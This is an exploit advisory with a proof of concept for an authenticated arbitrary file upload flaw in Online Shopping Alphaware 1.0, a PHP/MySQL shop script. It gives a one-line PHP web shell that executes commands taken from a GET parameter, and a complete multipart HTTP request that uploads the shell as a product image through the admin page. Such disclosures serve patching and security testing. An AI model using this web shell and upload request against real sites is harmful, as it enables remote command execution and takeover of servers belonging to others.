Online Shopping Alphaware 1.0 Arbitrary File Upload

`# Exploit Title: Online Shopping Alphaware 1.0 - Arbitrary File Upload (Authenticated)  
# Date: 2020-8-4  
# Exploit Author: Edo Maland  
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql  
# Version: 1.0  
# Tested On Windows & Linux Server  
  
# Vulnerability Details  
# Description : Authenticated User allowed to upload all extension (php, exe, elf, and etc) like a malware/backdoor to file uploaded directory  
# Vulnerable Parameter : product_image  
  
  
# POC  
  
  
Create a malicious PHP file with this content: <?=`$_GET[0]`?>  
Save as "exploit.php"  
Authenticated, go to product and add the new product. Upload your file and send the HTTP request to Burp.  
  
# Burp Request  
  
POST /alphaware/admin/admin_feature.php HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------926066153706642368381971988  
Content-Length: 1176  
Origin: http://example.com  
Connection: close  
Referer: http://example.com/alphaware/admin/admin_feature.php  
Cookie: PHPSESSID=tokl2nlnjtjud32laqupj07sss  
Upgrade-Insecure-Requests: 1  
  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="product_image"; filename="exploit.php"  
Content-Type: application/octet-stream  
  
<?=`$_GET[0]`?>  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="product_code"  
  
749  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="product_name"  
  
Evil  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="product_price"  
  
1337  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="product_size"  
  
2  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="brand"  
  
Evil   
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="qty"  
  
12  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="category"  
  
feature  
-----------------------------926066153706642368381971988  
Content-Disposition: form-data; name="add"  
  
Add  
-----------------------------926066153706642368381971988--  
`